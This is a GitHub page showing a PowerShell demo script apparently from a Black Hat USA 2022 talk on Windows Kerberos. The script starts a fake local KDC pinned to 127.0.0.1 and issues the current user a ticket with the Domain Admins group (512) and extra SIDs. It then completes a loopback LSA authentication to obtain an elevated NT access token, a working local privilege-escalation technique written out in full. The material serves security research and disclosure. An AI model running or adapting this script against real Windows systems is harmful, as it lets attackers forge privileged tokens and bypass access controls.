forked from tyranid/blackhat-usa-2022-demos
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdemo4.ps1
49 lines (44 loc) · 1.75 KB
/
demo4.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
# Pinned KDC (for cred guard)
param(
[uint32[]]$GroupId = 512,
[string[]]$ExtraSid = (Get-NtSid -IntegrityLevel Medium),
[switch]$Format,
[switch]$Limited
)
. "$PSScriptRoot\common.ps1"
$kdc = $null
try {
$realm = "FAKE.LOCAL"
$sid = Get-NtSid
$username = (Get-NtSidName $sid).Name
$password = "password"
$user = New-KerberosKdcServerUser -Username $username -Password $password `
-UserId $sid.SubAuthorities[-1] -GroupId $GroupId -ExtraSid $ExtraSid
if ($Limited) {
$re_ad = New-KerberosAuthorizationData -RestrictionFlag LimitedToken -IntegrityLevel Medium -MachineId (Get-MachineId)
$if_ad = New-KerberosAuthorizationData -AuthorizationData $re_ad
$user.AuthorizationData.Add($if_ad)
}
$kdc = New-KerberosKdcServer -Realm $realm -DomainSid $sid.Parent -User $user
$kdc.Start()
Add-KerberosKdcPin -Realm $realm -Hostname "127.0.0.1"
$cred = Get-LsaCredential -UserName $username -Domain $realm -Password $password
Use-NtObject($cred_handle = New-LsaCredentialHandle -Package 'Kerberos' -UseFlag Both -Credential $cred) {
Use-NtObject($client = New-LsaClientContext -CredHandle $cred_handle -Target $username -RequestAttribute UseSessionKey) {
Use-NtObject($server = New-LsaServerContext -CredHandle $cred_handle) {
Update-LsaServerContext $server $client
Update-LsaClientContext $client $server
Update-LsaServerContext $server $client
# Get NT access token.
Get-LsaAccessToken $server
}
}
}
} catch {
Write-Error $_
} finally {
Clear-KerberosKdcPin
if ($kdc -ne $null) {
$kdc.Stop()
}
}